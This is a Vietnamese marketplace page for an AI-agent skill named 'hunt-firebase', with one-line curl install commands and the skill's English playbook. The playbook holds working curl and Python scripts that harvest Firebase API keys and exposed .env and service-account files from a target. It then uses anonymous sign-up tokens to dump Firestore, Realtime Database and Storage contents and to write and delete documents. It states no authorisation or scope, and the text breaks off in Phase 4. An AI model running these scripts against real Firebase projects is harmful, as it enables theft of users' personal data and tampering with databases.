hunt-firebase – skill DevOps & Hạ tầng cho agent AI
Săn khai thác Firebase / Firestore / GCP — phát hiện API key Firebase trong bundle JS, xác thực ẩn danh qua endpoint signUp, liệt kê collection Firestore bằng anon key, đọc/ghi Realtime Database không cần xác thực, liệt kê Firebase Storage bucket, phát hiện Firebase Hosting, khai thác file JSON service account GCP, IAM
Cài skill hunt-firebase bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-firebase-295b6.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-firebase – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-firebase-295b6.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-firebase – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-firebase-295b6.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-firebase – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-firebase-295b6.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-firebase – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
HUNT-FIREBASE — Firebase / Firestore / GCP Exploitation
Crown Jewel Targets
Firebase is Google's mobile/web platform. When developers embed the API key in the client (which is required by Firebase SDKs), they often forget to configure Firestore Security Rules or Realtime Database Rules, leaving all data publicly readable and writable.
Highest-value findings:
1. Public Firestore Database — anon key allows read/write to ALL collections → full data dump (users, messages, PII). Critical.
2. Public Realtime Database — {database}.firebaseio.com/.json returns all data without auth. Critical.
3. Firebase Storage with public read — storage bucket allows anonymous file listing and download. Critical.
4. Firebase signUp open — anyone can create an auth account, then use the JWT to access Firestore. High.
5. Service Account JSON leaked — full GCP IAM access to Firestore, Storage, Cloud Functions, IAM policy. Critical.
6. Firebase Hosting with config leakage — hosting reveals project ID and API key in static files.
---
Phase 1 — Find the Firebase Project
Firebase is identified by its API key format: AIzaSy[0-9A-Za-z_-]{35}
1.1 Search in JS Bundles
# Download the main page and its JS bundles
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" -o /tmp/index.html
grep -Eo 'src="[^"]*\.js"' /tmp/index.html | cut -d'"' -f2 | while read js; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done
# Search for Firebase API keys in all downloaded JS
grep -rEn 'AIza[0-9A-Za-z_-]{35}' /tmp/*.js
# Search for firebaseConfig
grep -rEn 'firebaseConfig|firebase.initializeApp|apiKey|authDomain' /tmp/*.js --include="*.js"
# Search for Firebase URLs
grep -rEn 'firebaseio|firestore|firebasestorage|firebaseapp' /tmp/*.js --include="*.js"
# Quick one-liner for any page
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'AIza[0-9A-Za-z_-]{35}'1.2 Search in Source Maps
# First find source maps
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\"]+' | cut -d= -f2 | while read sm; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done
# Extract all source files from maps
cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re, os
try:
data = json.load(sys.stdin)
sources = data.get('sourcesContent', [])
for src in sources:
if not src: continue
keys = re.findall(r'AIza[0-9A-Za-z_-]{35}', src)
for k in keys:
print(f'FIREBASE_API_KEY: {k}')
urls = re.findall(r'https://[^\"'\"]+firebaseio[^\"'\"]+', src)
for u in urls:
print(f'FIREBASE_URL: {u}')
except: pass
" 2>/dev/null1.3 Search in .env and Config Files
# Firebase config often lives in .env
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "FIREBASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "FIREBASE"
# Search in exposed JSON config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/service-account.json" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/firebase.json" | python3 -m json.tool 2>/dev/null---
Phase 2 — Firebase Project Reconnaissance
Once you have a Firebase API key (format: AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX), you can probe the project.
2.1 Identify Firebase Project ID
# The project ID is encoded in the API key or can be found in the authDomain
# Auth domain pattern: <PROJECT_ID>.firebaseapp.com
API_KEY="AIzaSy..."
# Method 1: Try to sign in anonymously to get the project info
curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken": true}'
# Response includes: idToken, localId, refreshToken, expiresIn
# Method 2: Check if a known project ID works
for project in "$TARGET" "${TARGET%.*}" "app-${TARGET%.*}" "${TARGET//./-}"; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$project.firebaseio.com/.json")
[ "$code" != "404" ] && echo "Hit: $project.firebaseio.com (HTTP $code)"
done
# Method 3: Search for the project ID in the bundle alongside the key
grep -B5 -A5 "AIzaSy" /tmp/*.js 2>/dev/null2.2 Enumerate the Firebase Project
# Once project ID is known, probe all Firebase services
PROJECT="your-firebase-project-id"
API_KEY="AIzaSy..."
# Firestore REST API
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY"
# If rules are permissive -> returns all documents
# Realtime Database
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebaseio.com/.json?auth=$ID_TOKEN"
# Firebase Storage
# Two common formats:
curl --max-time 30 --connect-timeout 10 -sk "https://firebasestorage.googleapis.com/v0/b/$PROJECT.appspot.com/o?key=$API_KEY"
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/$PROJECT.appspot.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.firebasestorage.app"
# Firebase Hosting
curl --max-time 30 --connect-timeout 10 -skI "https://$PROJECT.firebaseapp.com"
curl --max-time 30 --connect-timeout 10 -sk "https://$PROJECT.web.app"---
Phase 3 — Firestore Database Exploitation
Firestore Security Rules control who can read/write. When misconfigured (set to true for read), the entire database is public.
3.1 List Collections (with anon key)
API_KEY="AIzaSy..."
PROJECT="your-project-id"
# Step 1: Sign in anonymously
ANON_RESP=$(curl --max-time 30 --connect-timeout 10 -sk "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken": true}')
ID_TOKEN=$(echo "$ANON_RESP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('idToken', 'NO_TOKEN'))")
if [ "$ID_TOKEN" != "NO_TOKEN" ]; then
echo "[+] Anonymous auth token obtained"
# Step 2: List all documents in root collection
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
docs = d.get('documents', [])
print(f'Documents: {len(docs)}')
for doc in docs[:20]:
path = doc.get('name', '').split('/')[-1]
print(f' Document: {path}')
fields = doc.get('fields', {})
for key, val in fields.items():
val_type = list(val.keys())[0] if val else 'unknown'
val_snippet = str(list(val.values())[0])[:50] if val else ''
print(f' {key}: {val_snippet}')
except Exception as e:
print(f'No data: {e}')
"
else
echo "[-] Cannot obtain anonymous auth token"
fi3.2 Dump All Collections (recursive)
# Firestore collection group query — enumerate ALL collections
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents:listCollectionIds?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" \
-X POST -d '{}'
# For each collection, dump documents
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/{COLLECTION_NAME}?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN"
# Run collectionGroup query (finds nested collections too)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents:runQuery?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"structuredQuery": {"from": [{"collectionId": "*"}]}}'3.3 Test Write Access
# Try to write a document (only if rules allow)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/test_collection?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"fields": {"test": {"stringValue": "pwned"}}}'
# If 200 -> write access confirmed -> CRITICAL
# Try to delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://firestore.googleapis.com/v1/projects/$PROJECT/databases/(default)/documents/test_collection/TEST_DOC?key=$API_KEY" \
-H "Authorization: Bearer $ID_TOKEN"
# If 200 -> delete access confirmed -> CRITICAL---
Phase 4 — Realtime Database Exploitation
Firebase Realtime Database uses a different API path.
# Read entire database (if r… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- argocd-gitops – Triển khai GitOps với ArgoCD cho việc triển khai Kubernetes theo kiểu khai báo.
- arm-templates – Triển khai tài nguyên Azure bằng ARM template và Bicep. Tạo triển khai theo module và…
- asset-inventory – Duy trì kho tài sản CNTT và cơ sở dữ liệu quản lý cấu hình (CMDB). Theo dõi phần cứng…
- ginkgo-cloud-lab – Hướng dẫn chọn giao thức, chuẩn bị đầu vào, kiểm tra giá và đặt hàng qua trình duyệt…
- atlas-cloud-media – Tạo ảnh và video Atlas Cloud qua API media bất đồng bộ, với việc chọn model theo schema…
- gitlab-ci-patterns – Xây dựng pipeline CI/CD GitLab với quy trình nhiều giai đoạn, caching và runner phân tán…
- gitops-workflow – Triển khai quy trình GitOps với ArgoCD và Flux để triển khai Kubernetes tự động, khai…
- ci-cd-pipeline-builder – Tạo pipeline CI/CD thực tế từ tín hiệu stack của dự án được phát hiện — sinh cấu hình…